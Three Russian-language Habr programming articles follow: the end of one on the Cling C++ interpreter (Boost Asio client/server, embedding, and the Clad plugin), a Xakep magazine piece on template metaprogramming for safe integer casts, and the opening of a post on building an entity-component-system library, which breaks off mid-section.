В следующем примере создается клиент-серверное приложение на основе Boost Asio, написанное на SIL с использованием плагина sil-cling. Server.sil содержит код SIL для сервера. Он начинает работу с включения нужных заголовочных файлов, это делается при помощи `cppCompile`. На следующем шаге создаются оберточные объекты для тех пространств имен, что нам нужны, и это делается путем вызова cppNamespace с именами тех пространств, к которым нам нужно получить доступ. Эти обертки CPPNamespace применяются для создания экземпляров классов, определяемых внутри тех пространств имен C++, которые в этих обертках заключены. При помощи таких оберток создаются конечная точка, принимающий сокет (который слушает входящие соединения) и активный сокет (обрабатывающий коммуникацию с клиентом). Затем сервер дожидается соединения и, как только клиент подключится, сервер считывает это сообщение и отправляет отклик.
```
// Server.sil
import * from silcling
import format from format
cppCompile ("#include ")
cppCompile ("#include \"helper.hpp\"")
// Обертки CPPNamespace
asio = cppNamespace("boost::asio")
tcp = cppNamespace("boost::asio::ip::tcp")
helpers = cppNamespace("helpme")
// Использование оберток пространств имен для создания экземпляров классов - создается ClingObj(s)
ioService = asio.obj("io\_service")
endpoint = tcp.obj("endpoint", tcp.v4(), 9999)
// Принимающий сокет – входящие соединения
acceptorSocket = tcp.obj("acceptor", ioService, endpoint)
// Активный сокет – коммуникация с клиентом
activeSocket = tcp.obj("socket", ioService)
// Ожидание соединенияи использование activeSocket для соединения с клиентом
helpers.accept(acceptorSocket, activeSocket)
// Ожидание сообщения
message = helpers.getData(activeSocket);
print(format("[Server]: Received \"%s\" from client.", message.getString()))
// Отправить отклик
reply = "Hello \'" ~ message.getString() ~ "\'!"
helpers.sendData(activeSocket, reply)
print(format("[Server]: Sent \"%s\" to client.", reply))
```
Client.sil содержит код SIL для клиента. Поскольку это сервер, он включает релевантные заголовки, создает обертки для требуемых пространств имен и далее для создания конечной точки и сокета. Затем клиент подключается к серверу, отправляет сообщение и ждет, пока сервер ответит. Как только ответ придет, клиент выведет его на экран.
```
// Client.sil
import * from silcling
import format from format
cppCompile ("#include ")
cppCompile ("#include \"helper.hpp\"")
asio = cppNamespace("boost::asio")
tcp = cppNamespace("boost::asio::ip::tcp")
helpers = cppNamespace("helpme")
// Оператор разрешения области видимости <-> address::static\_method() или address::static\_member
address = classScope("boost::asio::ip::address")
ioService = asio.obj("io\_service")
endpoint = tcp.obj("endpoint", address.from\_string("127.0.0.1"), 9999)
// Создание сокета
client\_socket = tcp.obj("socket", ioService)
// Соединение
client\_socket.connect(endpoint)
message = "demo"
helpers.sendData(client\_socket, message)
print(format("[Client]: Sent \"%s\" to server.", message))
message = helpers.getData(client\_socket);
```
Вывод:
```
[Client]: Sent "demo" to server.
[Server]: Received "demo" from client.
[Server]: Sent "Hello demo" to client.
[Client]: Received "Hello demo" from server.
```
### Интерпретатор/компилятор как услуга
Cling, точно как и Clang, устроен так, что им можно пользоваться как библиотекой. В следующем примере будет показано, как инкорпорировать libCling в программу на C++. Cling можно использовать по требованию, как услугу – чтобы компилировать, изменять или описывать код на C++. В программе, приведенной в качестве примера, показано несколько способов, которыми могут взаимодействовать скомпилированный и интерпретируемый C++**:**
* `callCompiledFn` – cling-demo.cpp определяет глобальную переменную `aGlobal`; статическую переменную для чисел с плавающей точкой, `anotherGlobal`; а также соответствующие методы доступа. Аргумент `interp` – это созданный ранее экземпляр интерпретатора Cling. Точно как и в стандартном C++, достаточно заранее объявлять скомпилированные сущности интерпретатору, чтобы потом их можно было использовать. Затем информация о выполнении от различных вызовов, которые нужно обработать, хранится в обобщенном объекте Cling `Value`, который используется для обмена информацией между скомпилированным и интерпретируемым кодом.
* `callInterpretedFn` – дополнительно к `callCompiledFn`, скомпилированный код может вызвать интерпретируемую функцию, запросив Cling сформировать указатель функции на основе заданного искаженного имени. Далее в вызове используется стандартный синтаксис C++.
* `modifyCompiledValue` – Cling полностью понимает C++, что позволяет нам поддерживать сложные низкоуровневые операции над памятью, выделяемой в стеке. В качестве примера запросим у компилятора адрес локальной переменной loc в памяти, а затем прикажем интерпретатору прямо во время выполнения возвести ее значение в квадрат.
```
// cling-demo.cpp
// g++ ... cling-demo.cpp; ./cling-demo
#include
#include
#include
#include
#include
#include
/// Определения объявлений, также внедряемых в cling.
/// ПРИМЕЧАНИЕ: это также можно оставить и в заголовке #included, и в cling, но
/// ради простоты мы просто переобъявим их здесь.
int aGlobal = 42;
static float anotherGlobal = 3.141;
float getAnotherGlobal() { return anotherGlobal; }
void setAnotherGlobal(float val) { anotherGlobal = val; }
///\brief Call compiled functions from the interpreter.
void callCompiledFn(cling::Interpreter& interp) {
// We could use a header, too...
interp.declare("int aGlobal;\n"
"float getAnotherGlobal();\n"
"void setAnotherGlobal(float val);\n");
cling::Value res; // Будет содержать результат вычисления выражения.
interp.process("aGlobal;", &res);
std::cout << "aGlobal is " << res.getAs() << '\n';
interp.process("getAnotherGlobal();", &res);
std::cout << "getAnotherGlobal() returned " << res.getAs() << '\n';
setAnotherGlobal(1.); // мы изменяем скомпилированное значение,
interp.process("getAnotherGlobal();", &res); // видит ли это интерпретатор?
std::cout << "getAnotherGlobal() returned " << res.getAs() << '\n';
// Изменяем значение при помощи интерпретатора, теперь двоичный код видит новое значение.
interp.process("setAnotherGlobal(7.777); getAnotherGlobal();");
std::cout << "getAnotherGlobal() returned " << getAnotherGlobal() << '\n';
}
/// Вызываем интерпретируемую функцию по ее символьному адресу.
void callInterpretedFn(cling::Interpreter& interp) {
// Объявляем функцию интерпретатору. Делаем ее внешней для "C", чтобы избавиться от
// искажения имен.
interp.declare("extern \"C\" int plutification(int siss, int sat) "
"{ return siss \* sat; }");
void\* addr = interp.getAddressOfGlobal("plutification");
using func\_t = int(int, int);
func\_t\* pFunc = cling::utils::VoidToFunctionPtr(addr);
std::cout << "7 \* 8 = " << pFunc(7, 8) << '\n';
}
/// Передаем в cling указатель как строку.
void modifyCompiledValue(cling::Interpreter& interp) {
int loc = 17; // Значение, которое будет изменено
// Обновляем значение loc, передавая его интерпретатору.
std::ostringstream sstr;
// в Windows, чтобы поставить перед шестнадцатеричным значением указателя префикс '0x',
// нужно написать: std::hex << std::showbase << (size\_t)pointer
sstr << "int& ref = \*(int\*)" << std::hex << std::showbase << (size\_t)&loc << ';';
sstr << "ref = ref \* ref;";
interp.process(sstr.str());
std::cout << "The square of 17 is " << loc << '\n';
}
int main(int argc, const char\* const\* argv) {
// Создаем интерпретатор. LLVMDIR предоставляется как -D во время компиляции.
cling::Interpreter interp(argc, argv, LLVMDIR);
callCompiledFn(interp);
callInterpretedFn(interp);
modifyCompiledValue(interp);
return 0;
}
```
Вывод:
```
./cling-demo
aGlobal is 42
getAnotherGlobal() returned 3.141
getAnotherGlobal() returned 1
getAnotherGlobal() returned 7.777
7 * 8 = 56
The square of 17 is 289
```
Пересекая границу между компилируемым и интерпретируемым кодом, мы полагаемся на предусмотренную в Clang реализацию двоичного интерфейса (ABI) хост-приложения. С годами эта реализация приобрела большую надежность как в Unix, так и в Windows, хотя, Cling активно используется для взаимодействия с базами кода, скомпилированными при помощи GCC и чувствителен к несовместимостям ABI между GCC и Cling в контексте спецификации Itanium ABI.
### Расширения
Cling, точно как и Clang, поддается расширению плагинами. В следующем примере показан вариант встраиваемого использования расширения Cling для автоматического дифференцирования, этот вариант называется [Clad](https://compiler-research.org/clad/). Clad преобразует абстрактное синтаксическое дерево Clang так, чтобы получить производные и градиенты математических функций. При создании экземпляра Cling мы указываем -fplugin и путь к самому плагину. Затем определяем целевую функцию pow2 и запрашиваем ее производную относительно ее первого аргумента.
```
#include
#include
// Производные как услуга.
void gimme\_pow2dx(cling::Interpreter &interp) {
// Definitions of declarations injected also into cling.
interp.declare("double pow2(double x) { return x\*x; }");
interp.declare("#include ");
interp.declare("auto dfdx = clad::differentiate(pow2, 0);");
cling::Value res; // Здесь будет содержаться результат вычисления
interp.process("dfdx.getFunctionPtr();", &res);
using func\_t = double(double);
func\_t\* pFunc = res.getAs();
printf("dfdx at 1 = %f\n", pFunc(1));
}
int main(int argc, const char\* const\* argv) {
std::vector argvExt(argv, argv+argc);
argvExt.push\_back("-fplugin=etc/cling/plugins/lib/clad.dylib");
// Создает cling. LLVMDIR предоставляется как -D во время компиляции.
cling::Interpreter interp(argvExt.size(), &argvExt[0], LLVMDIR);
gimme\_pow2dx(interp);
return 0;
}
```
Вывод:
```
./clad-demo
dfdx at 1 = 2.000000
```
### Заключение
Мы продемонстрировали возможности Cling, позволяющие инстанцировать экземпляры шаблонов по требованию, инкорпорировать интерпретатор в стороннем коде, а также способствовать расширению интерпретатора. Ленивое инстанцирование шаблонов во встраиваемом провайдере может сильно пригодиться в случае, когда нужно обеспечить интероперабельность с C++. Расширяя такой сервис предметно-ориентированными возможностями, можно найти такой нужный выход для решения многих научных задач и более широких вариантов применения.
### Благодарности
Автор выражает благодарности Сильвейну Корлею (Sylvain Corlay), Симеону Эригу (Simeon Ehrig), Дэвиду Ланжу (David Lange), Крису Латтнеру (Chris Lattner), Хавьеру Лопесу Гомесу (Javier Lopez Gomez), Виму Лаврийсену (Wim Lavrijsen), Акселю Науманну (Axel Naumann), Александру Пеневу (Alexander Penev), Хавьеру Валльсу Пла (Xavier Valls Pla), Ричарду Смиту (Richard Smith), Мартину Васильеву (Martin Vassilev), Иоане Ифрим (Ioana Ifrim), участвовавшим в подготовке этого поста. | https://habr.com/ru/post/659733/ | null | ru | null |
# Откровения метапрограммиста. Программируем программный код на этапе компиляции, используем шаблоны C++ для нешаблонных решений
Шаблоны можно назвать самым главным отличием и основным преимуществом языка C++. Возможность создать шаблон алгоритма для различных типов без копирования кода и со строгой проверкой типов — это лишь один из аспектов использования шаблонов. Код специализаций шаблона строится на этапе компиляции, а это значит, что поведением создаваемых типов и функций можно управлять. Как тут удержаться от возможности попрограммировать компилируемые классы?
Метапрограммирование становится столь же неотъемлемой частью написания кода на C++, как и использование стандартной библиотеки, часть которой создана именно для использования на этапе компиляции. Сегодня мы произведем на свет библиотеку безопасного приведения скалярных типов C++, метапрограммируя шаблонами!
#### Разрыв шаблона
На самом деле все метапрограммирование сводится не столько к шаблонному поведению, независимо от типа, сколько к нарушению этого самого шаблона поведения. Допустим, у нас есть шаблонный класс или шаблонная функция:
```
template
class Some;
template
T func(T const& value);
```
Как правило, такие классы и функции описывают сразу с телом, общим для любого типа. Но никто не мешает нам задать явную специализацию шаблона по одному из типов, создав для этого типа уникальное поведение функции или особый вид класса:
```
template <>
class Some
{
public:
explicit Some(int value)
: m\_twice(value \* 2) {
}
int get\_value() const {
return m\_twice / 2;
}
private:
int m\_twice;
};
template <>
double func(double const& value)
{
return std::sqrt(value);
}
```
При этом общее поведение может описываться сильно отлично от указанного для специализаций шаблона:
```
template
class Some
{
public:
explicit Some(T const& value)
: m\_value(value) {
}
T const& get\_value() const {
return m\_value;
}
private:
T m\_value;
};
template
T func(T const& value)
{
return value \* value;
}
```
В этом случае при использовании шаблона будет наблюдаться особое поведение для специализаций `Some` и `func`: оно будет сильно расходиться с общим поведением шаблона, хотя внешне API отличаться будет незначительно. Зато при создании экземпляры `Some` будут хранить удвоенное значение и выдавать исходное значение, деля пополам свойство `m\_twice` по запросу `get\_value()`. Общий шаблон `Some`, где T — любой тип, кроме int, будет просто сохранять переданное значение, выдавая константную ссылку на поле `m\_value` при каждом запросе `get\_value()`.
Функция `func` и вовсе вычисляет корень значения аргумента, в то время как любая другая специализация шаблона `func` будет вычислять квадрат переданного значения.
Зачем это нужно? Как правило, для того, чтобы сделать логическую развилку внутри шаблонного алгоритма, например такого:
```
template
T create()
{
Some some(T());
return func(some.get\_value());
}
```
Поведение алгоритма внутри create будет отличаться для типов int и double. При этом отличаться будет поведение различных компонент алгоритма. Несмотря на нелогичность кода специализаций шаблона, мы получили простой и понятный пример управления поведения шаблонами.
#### Разрыв несуществующего шаблона
Давай сделаем наш пример чуть более веселым — уберем общий шаблон поведения для Some и func, оставив лишь уже написанные специализации Some и func и, конечно же, не трогая предварительное объявление.
Что в этом случае произойдет с шаблоном `create`? Он просто перестанет компилироваться для любого типа. Ведь для `create` не существует реализации функции `func`, а для `create` нет нужного `Some`. Первая же попытка вставить в код вызов create для какого-либо типа приведет к ошибке компиляции.
Чтобы оставить возможность работать функции `create`, нужно специализировать `Some` и `func` хотя бы от одного типа одновременно. Можно реализовать `Some` или `func`, например так:
```
template <>
int func(int const& value)
{
return value;
}
template <>
class Some
{
public:
explicit Some(double value)
: m\_value(value\*value) {
}
double get\_value() const {
return m\_square;
}
private:
double m\_square;
};
```
Добавив две специализации, мы не только оживили компиляцию специализаций create от типов int и double, получилось еще и так, что возвращать для этих типов алгоритм будет одни и те же значения. Но поведение при этом будет разным!
> #### INFO
>
>
>
> В C++ типы ведут себя по-разному и не всегда шаблонный алгоритм ведет себя эффективно для всех типов. Зачастую, добавив специализацию шаблона, мы получаем не только прирост производительности, но и более понятное поведение программы в целом.
#### Да поможет нам std::
С каждым годом в стандартную библиотеку добавляется все больше инструментов для метапрограммирования. Как правило, все новое — это хорошо опробованное старое, позаимствованное из библиотеки Boost.MPL и узаконенное. Нам все чаще требуется `#include `, и все больше кода идет с применением развилок вида `std::enable\_if`, все больше нам требуется знать на этапе компиляции, не является ли аргумент шаблона целочисленным типом `std::is\_integral`, или, например, сравнить два типа внутри шаблона с помощью `std::is\_same`, чтобы управлять поведением специализаций шаблона.
Вспомогательные структуры шаблона выстроены так, что компилируется только та специализация, что дает истинность выражения, а специализации для ложного поведения отсутствуют.
Чтобы стало более понятно, рассмотрим подробнее `std::enable\_if`. Этот шаблон зависит от истинности первого своего аргумента (второй опционален), и выражение вида `std::enable\_if::type` будет скомпилировано лишь для истинных выражений, делается это довольно просто — специализацией от значения true:
```
template
struct enable\_if;
template
struct enable\_if
{
typedef result\_type type;
};
```
Для значения false типа `std::enable\_if::type` компилятор просто не сможет создать, и это можно использовать, например ограничив поведение ряда типов частичной специализации шаблонной структуры или класса.
Здесь в помощь в качестве аргументов `std::enable\_if` могут быть использованы самые разнообразные структуры-предикаты из того же ``: `std::is\_signed::value` истинно, если тип T поддерживает тип знак + или — (что очень удобно для отсечения поведения беззнаковых целых), `std::is\_floating\_point::value` истинно для вещественных типов float и double, `std::is\_same::value` истинно, если типы T1 и T2 совпадают. Структур предикатов, помогающих нам, множество, а если чего не хватает в `std::` или `boost::`, можно запросто сделать свою структуру.
Что ж, вводная часть завершена, переходим к практике.
> #### Как устроены предикаты?
>
>
>
> Предикат — это обычная частичная специализация шаблонной структуры. Например, для `std::is\_same` в общем случае все выглядит примерно так:
>
>
>
>
> ```
> template
> struct is\_same;
>
> template
> struct is\_same
> {
> static const bool value = true;
> };
>
> template
> struct is\_same
> {
> static const bool value = false;
> };
>
> ```
>
>
> Для совпадающих типов аргументов `std::is\_same` компилятор C++ выберет подходящую специализацию, в данном случае частичную с value = true, а для несовпадающих попадет в общую реализацию шаблона с value = false. Компилятор всегда пытается отыскать строго подходящую специализацию по типам аргументов и, лишь не найдя нужную, идет в общую реализацию шаблона.
#### Вход по шаблону строго воспрещен
Чтобы начать программировать программный код и заняться всяческим метапрограммированием, попробуем-ка создать страшную функцию, возвращающую разный результат для одинаковых и разных типов аргументов шаблона. В этом нам поможет механизм частичной специализации для вспомогательной структуры. Поскольку частичной специализации для функций не существует, внутри функции мы будем просто обращаться к простой соответствующей специализации структуры, у которой мы и зададим частичную специализацию:
```
template
struct type\_cast;
template
bool try\_safe\_cast(result\_type& result,
value\_type const& value)
{
return type\_cast::try\_cast(result, value);
}
template
struct type\_cast
{
static bool try\_cast(result\_type& result,
value\_type const& value)
{
result = value;
return true;
}
}
```
Очевидно, что мы создали заготовку для функции безопасного приведения типов. Функция основывается на типах переданных в нее аргументов и идет выполнять статический метод `try\_cast` у соответствующей специализации структуры `type\_cast`. В настоящий момент мы реализовали только тривиальный случай, когда тип значения совпадает с типом результата и преобразование, по сути, не нужно. Переменной результата просто присваивается входящее значение, и всегда возвращается true — признак успешного приведения типа значения к типу результата.
Для несовпадающих типов сейчас будет выдана ошибка компиляции с длинным непонятным текстом. Чтобы немного поправить это дело, необходимо ввести общую реализацию шаблона со `static\_assert(false, …)` в теле метода `try\_cast` — это сделает сообщение об ошибке более понятным:
```
template
struct type\_cast
{
static bool try\_cast(result\_type&,
value\_type const&)
{
static\_assert(false,
"Здесь нужно понятное сообщение об ошибке");
}
}
```
Таким образом, каждый раз, когда будет произведена попытка приведения типа функцией `try\_safe\_cast` типов, для которых нет соответствующей специализации структуры `type\_cast`, будет выдаваться сообщение об ошибке компиляции из общего шаблона.
Заготовка готова, пора приступать к метапрограммированию!
#### Пометапрограммируй мне тут!
Для начала нужно поправить объявление вспомогательной структуры `type\_cast`. Нам потребуется дополнительный тип `meta\_type` для логической развилки без ущерба для передаваемых параметров и неявного определения их типов. Теперь описание шаблона структуры будет выглядеть чуть сложнее:
```
template
struct type\_cast;
```
Как видно, новый тип в объявлении шаблона опционален и никак не мешает уже существующим объявлениям специализации и общего поведения шаблона. Однако этот маленький нюанс позволяет нам управлять успешностью компиляции, передавая третьим параметром результат `std::enable\_if<предикат>::value`. Специализации с некомпилируемым параметром шаблона будут отброшены, что нам и нужно, чтобы управлять логикой приведения типов различных групп.
Ведь очевидно, что целые числа приводятся друг к другу по-разному, в зависимости от того, есть ли у обоих типов знак, какой тип большей разрядности и не выходит ли переданное значение value за пределы допустимых значений для `result\_type`.
Так, если оба типа — знаковые целые и тип результата большей разрядности, нежели тип входящего значения, то можно без проблем присвоить результату входящее значение, это же верно и для беззнаковых типов. Давай опишем это поведение специальной частичной специализацией шаблона `type\_cast`:
```
template
struct type\_cast::value>
{
static bool try\_cast(result\_type& result,
value\_type const& value) {
result = value;
return true;
}
};
```
Теперь нужно разобраться, что за условие нам нужно вставить вместо многоточия параметром `std::enable\_if`.
Поехали описывать условие времени компиляции:
```
typename std::enable_if<
```
Во-первых, специализация не должна пересекаться с уже существующей, где тип результата и входящего значения совпадают:
```
!std::is_same::value &&
```
Во-вторых, мы рассматриваем случай, когда оба аргумента шаблона — целочисленные типы:
```
std::is_integral::value &&
std::is\_integral::value &&
```
В-третьих, мы подразумеваем, что оба типа либо знаковые, либо беззнаковые (скобки обязательны — условия параметров шаблона вычисляются иначе, нежели на этапе выполнения!):
```
(std::is_signed::value ==
std::is\_signed::value) &&
```
В-четвертых, разрядность целочисленного типа результата больше, чем разрядность типа переданного значения (снова обязательны скобки!):
```
(sizeof(result_type) > sizeof(value_type))
```
И наконец, закрываем объявление std::enable\_if:
```
::type
```
В результате type для `std::enable\_if` будет сгенерирован только при выполнении указанных четырех условий. В остальных случаях для прочих комбинаций типов данная частичная специализация даже не будет создана.
Получается зубодробительное выражение внутри `std::enable\_if`, которое отсекает исключительно указанный нами случай. Данный шаблон спасает от тиражирования кода приведения различных целочисленных типов друг в друга.
Чтобы закрепить материал, можно описать чуть более сложный случай — приведение беззнакового целого к типу меньшей разрядности беззнакового целого. Тут нам поможет знание бинарного представления целого числа и стандартный класс `std::numeric\_limits`:
```
template
struct type\_cast::type>
{
static bool try\_cast(result\_type& result,
value\_type const& value)
{
if (value != (value &
std::numeric\_limits::max()))
{
return false;
}
result = result\_type(value);
return true;
}
};
```
В условии if все достаточно просто: максимальное значение типа `result\_type` неявно приводится к типу больше разрядности `value\_type` и выступает в качестве маски для значения `value`. В случае если для значения `value` задействованы биты вне `result\_type`, мы получим выполненное неравенство и попадем на return false.
Теперь пройдем по условию времени компиляции:
```
typename std::enable_if<
```
Первые два условия остаются теми же — оба типа целочисленные, но различные между собой:
```
!std::is_same::value &&
std::is\_integral::value &&
std::is\_integral::value &&
```
Оба типа являются беззнаковыми целыми:
```
std::is_unsigned::value &&
std::is\_unsigned::value &&
```
Тип результата меньшей разрядности, нежели тип входящего значения (скобки обязательны!):
```
(sizeof(result_type) < sizeof(value_type))
```
Все условия перечислены, закрываем условие специализации:
```
::type
```
Для знаковых целых, где результат меньшей разрядности, условие будет похожим, но с двумя `std::is\_signed` внутри `std::enable\_if`, однако условие выхода за пределы значений будет несколько другим:
```
static bool try_cast(result_type& result, value_type const& value)
{
if (value != (value &
(std::numeric_limits::max() |
std::numeric\_limits::min())))
{
return false;
}
result = result\_type(value);
return true;
}
```
Снова вспоминаем бинарное представление целых чисел со знаком: здесь маской будет бит знака входящего значения и биты значения типа результата, исключая бит знака. Соответственно, минимальное число типа `value\_type`, где заполнен только бит знака, объединенное побитово с максимальным числом типа `result\_type`, где заполнены все биты, кроме знакового, и будет давать нам искомую маску допустимых значений.
В качестве домашнего задания рассмотри следующие случаи:
1. Приведение знакового к беззнаковому с использованием уже написанных специализаций и модификатора `std::make\_unsigned`.
2. Приведение беззнакового к знаковому большей разрядности с использованием уже написанных специализаций и модификатора `std::make\_signed`.
3. Чуть посложнее: приведение беззнакового к знаковому меньшей или равной разрядности с использованием условия невыхода за пределы значений и модификатора `std::make\_signed`.
Также не составит труда написать аналогичные специализации для преобразования из `std::is\_floating\_point` типов, а также преобразование из типа `bool`. Для полного удовлетворения можно дописать приведение из и в строковые типы и оформить это столь нужной всем библиотекой безопасного приведения типов C++.
#### Нешаблонное мышление
Для каждого случая использования шаблона может существовать исключение. Теперь ты будешь готов встретиться с ним и грамотно его обработать. Не всегда нужен специальный метатип в шаблоне вспомогательной структуры, но если пришла пора обрабатывать предикаты на этапе компиляции — что ж, в этом нет ничего страшного. Все, что нужно, — это засучить рукава и аккуратно создать шаблонную конструкцию с предикатом времени компиляции.
Но будь аккуратен, злоупотребление шаблонами до добра не доводит! Относись к шаблонам исключительно как к обобщению кода для разных типов со схожим поведением, шаблоны должны появляться обоснованно, когда есть риск тиражирования одинакового кода для разных типов.
Помни также о том, что для того, чтобы разобраться в логике шаблонного предиката без автора кода, нужно быть как минимум смелым оптимистом, поэтому береги психику коллег, оформляй шаблонные предикаты аккуратно, красиво и читабельно и не стесняйся комментировать чуть ли не каждое условие в предикате.
Шаблонизируй код аккуратно и лишь по необходимости, и коллеги скажут тебе спасибо. И не бойся ломать шаблон в случае исключения из правил. Правила без исключений — это, скорее, исключения из правил.
*Впервые опубликовано в журнале Хакер #193.
Автор: Владимир [Qualab](http://habrahabr.ru/users/qualab/) Керимов, ведущий С++ разработчик компании Parallels*
Подпишись на «Хакер»
* [Материалы сайта](https://xakep.ru/wp-admin/profile.php?page=paywall_subscribes)
* [Бумажный вариант](http://bit.ly/habr_subscribe_paper)
* [«Хакер» на iOS/iPad](http://bit.ly/xakep_on_ipad)
* [«Хакер» на Android](http://bit.ly/habr_android) | https://habr.com/ru/post/257899/ | null | ru | null |
# Собственная реализация библиотеки ECS
На этой неделе я начал работать над своим движком для игры Vagabond и приступил к реализации шаблона [entity-component-system](https://en.wikipedia.org/wiki/Entity_component_system).
В этой статье я хочу рассказать о своей реализации, которая свободно доступна на [GitHub](https://github.com/pvigier/ecs). Но вместо простого комментирования кода я хочу объяснить, как проектировалась его структура. Поэтому я начну с первой написанной мной реализации, проанализирую её сильные и слабые стороны, а затем покажу, как улучшил её. В конце я перечислю список аспектов, которые также можно улучшить.
Введение
========
Мотивация
---------
Я не буду рассказывать о преимуществах ECS перед объектно-ориентированным подходом, потому что с этим хорошо справились многие люди до меня. Одним из первых про ECS рассказал на [GDC 2002](https://web.archive.org/web/20101011021902/http://scottbilas.com/files/2002/gdc_san_jose/game_objects_slides.pdf) Скотт Билас. Среди других знаменитых введений в тему можно назвать [Evolve Your Hierarchy](http://cowboyprogramming.com/2007/01/05/evolve-your-heirachy/) Майка Уэста и главу [Components](http://gameprogrammingpatterns.com/component.html) из потрясающей книги [Game Programming Patterns](http://gameprogrammingpatterns.com/) Роберта Нистрома.
Вкратце скажу, что задача ECS — создание ориентированного на обработку данных подхода к игровым сущностям и удобное разделение данных и логики. Сущности (Entities) составляются из компонентов, содержащих данные. А системы, содержащие логику, обрабатывают эти компоненты.
Если вдаваться в детали, то вместо [наследования](https://en.wikipedia.org/wiki/Inheritance_(object-oriented_programming)) в ECS используется [композиция](https://en.wikipedia.org/wiki/Object_composition). Более того, этот подход, ориентированный на обработку данных, оптимальнее использует кэш, а значит, достигает отличной производительности.
Примеры
-------
Прежде чем углубляться в код, я бы хотел показать вам, что мы собираемся проектировать.
Задание компонентов выполнятся очень просто:
```
struct Position : public Component
{
float x;
float y;
};
struct Velocity : public Component
{
float x;
float y;
};
```
Как видите, мы будем использовать шаблон [CRTP](https://en.wikipedia.org/wiki/Curiously_recurring_template_pattern).
Затем, по техническим причинам, которые я объясню позже, нам нужно зафиксировать количество компонентов и количество систем:
```
constexpr auto ComponentCount = 32;
constexpr auto SystemCount = 8;
```
Далее можно задать систему, которая будет брать все сущности, имеющие оба компонента, и обновлять их позиции:
```
class PhysicsSystem : public System
{
public:
PhysicsSystem(EntityManager& entityManager) : mEntityManager(entityManager)
{
setRequirements();
}
void update(float dt)
{
for (const auto& entity : getManagedEntities())
{
auto [position, velocity] = mEntityManager.getComponents(entity);
position.x += velocity.x \* dt;
position.y += velocity.y \* dt;
}
}
private:
EntityManager& mEntityManager;
};
```
Для объявления интересующих её компонентов система просто использует метод `setRequirements`. Затем в методе `update` она может вызывать `getManagedEntities` для итеративного обхода всех сущностей, удовлетворяющих требованиям.
Наконец, давайте создадим менеджер сущностей, зарегистрируем компоненты, создадим систему и несколько сущностей, а затем будем обновлять их позиции при помощи системы:
```
auto manager = EntityManager();
manager.registerComponent();
manager.registerComponent();
auto system = manager.createSystem(manager);
for (auto i = 0; i < 10; ++i)
{
auto entity = manager.createEntity();
manager.addComponent(entity);
manager.addComponent(entity);
}
auto dt = 1.0f / 60.0f;
while (true)
system->update(dt);
```
### Бенчмарки
Не буду притворяться, что создал самую лучшую библиотеку ECS. Мне просто хотелось написать её самостоятельно. Кроме того, я работал над ней всего лишь неделю.
Однако это не причина, чтобы создавать нечто совершенно неэффективное. Поэтому давайте установим бенчмарки:
* Первый будет создавать сущности;
* Второй будет использовать систему для итеративного обхода сущностей;
* Последний будет создавать и уничтожать сущности;
Параметрами всех этих бенчмарков являются количество сущностей, количество компонентов у каждой сущности, максимальное количество компонентов и максимальное количество систем. Таким образом, мы сможем увидеть, насколько хорошо масштабируется наша реализация. В частности, я покажу результаты для трёх разных профилей:
* Профиль A: 32 компонента и 16 систем;
* Профиль AA: 128 компонентов и 32 системы;
* Профиль AAA: 512 компонента и 64 системы.
Несмотря на то, что эти бенчмарки дадут нам представление о качестве реализации, они довольно просты. Например, в этих бенчмарках мы используем только однородные сущности, а их компоненты малы.
Реализация
==========
Сущность
--------
В моей реализации сущность — это всего лишь id:
```
using Entity = uint32_t;
```
Более того, в [Entity.h](https://pvigier.github.io/2019/07/07/entity-component-system-part1.html) мы также определим псевдоним `Index`, который нам пригодится позже:
```
using Index = uint32_t;
static constexpr auto InvalidIndex = std::numeric_limits::max();
```
Я решил вместо 64-битного типа или `std::size_t` использовать `uint32_t`, чтобы сэкономить пространство и повысить оптимизацию кэша. Потеряем мы не так много: маловероятно, что у кого-то будут миллиарды сущностей.
Компонент
---------
Теперь давайте определим базовый класс для компонентов:
```
template
class Component
{
public:
static constexpr auto type = static\_cast(Type);
};
```
Класс шаблона очень прост, он всего лишь хранит id типа, который мы позже будем использовать для индексации структур данных по типу компонентов.
Первый параметр шаблона — это тип компонента. Второй — это значение, преобразуемое в `std::size_t`, которое будет служить id типа компонента.
Например, мы можем определить компонент `Position` следующим образом:
```
struct Positon : Component
{
float x;
float y;
};
```
Однако удобнее может быть использовать перечисление:
```
enum class ComponentType
{
Position
};
struct Positon : Component
{
float x;
float y;
};
```
Во вводном примере есть только один параметр шаблона: нам не нужно указывать id типа вручную. Позже мы увидим, как улучшить структуру и генерировать идентификаторы типов автоматически.
EntityContainer
---------------
Класс `EntityContainer` будет отвечать за управление сущностями и хранение для каждой из них [`std::bitset`](https://en.cppreference.com/w/cpp/utility/bitset). Этот набор битов будет обозначать компоненты, которыми владеет сущность.
Так как мы будем использовать сущности для индексации контейнеров и в частности `std::vector`, нам нужно, чтобы id были как можно меньше и занимали меньше памяти. Поэтому мы будем заново использовать id уничтоженных сущностей. Для этого свободные id будут сохраняться в контейнере под названием `mFreeEntities`.
Вот объявление `EntityContainer`:
```
template
class EntityContainer
{
public:
void reserve(std::size\_t size);
std::vector>& getEntityToBitset();
const std::bitset& getBitset(Entity entity) const;
Entity create();
void remove(Entity entity);
private:
std::vector> mEntityToBitset;
std::vector mFreeEntities;
};
```
Давайте посмотрим, как реализованы методы.
`getEntityToBitset` и `getBitset` — это обычные небольшие геттеры:
```
std::vector>& getEntityToBitset()
{
return mEntityToBitset;
}
const std::bitset& getBitset(Entity entity) const
{
return mEntityToBitset[entity];
}
```
Метод `create` более интересен:
```
Entity create()
{
auto entity = Entity();
if (mFreeEntities.empty())
{
entity = static_cast(mEntityToBitset.size());
mEntityToBitset.emplace\_back();
}
else
{
entity = mFreeEntities.back();
mFreeEntities.pop\_back();
mEntityToBitset[entity].reset();
}
return entity;
}
```
Если есть свободная сущность, он использует её повторно. В противном случае метод создаёт новую сущность.
Метод `remove` просто добавляет сущность для удаления в `mFreeEntities`:
```
void remove(Entity entity)
{
mFreeEntities.push_back(entity);
}
```
Последний метод — это `reserve`. Его задача — резервирование памяти под различные контейнеры. Как мы возможно знаете, выделение памяти — это затратная операция, поэтому если мы приблизительно знаем количество будущих сущностей в игре, то резервирование памяти позволит ускорить работу:
```
void reserve(std::size_t size)
{
mFreeEntities.resize(size);
std::iota(std::begin(mFreeEntities), std::end(mFreeEntities), 0);
mEntityToBitset.resize(size);
}
```
Кроме простого резервирования памяти он также заполняет `mFreeEntities`.
ComponentContainer
------------------
Класс `ComponentContainer` будет отвечать за хранение всех компонентов заданного типа.
В моей архитектуре все компоненты заданного типа хранятся вместе. То есть существует один большой массив для каждого типа компонентов, называемый `mComponents`.
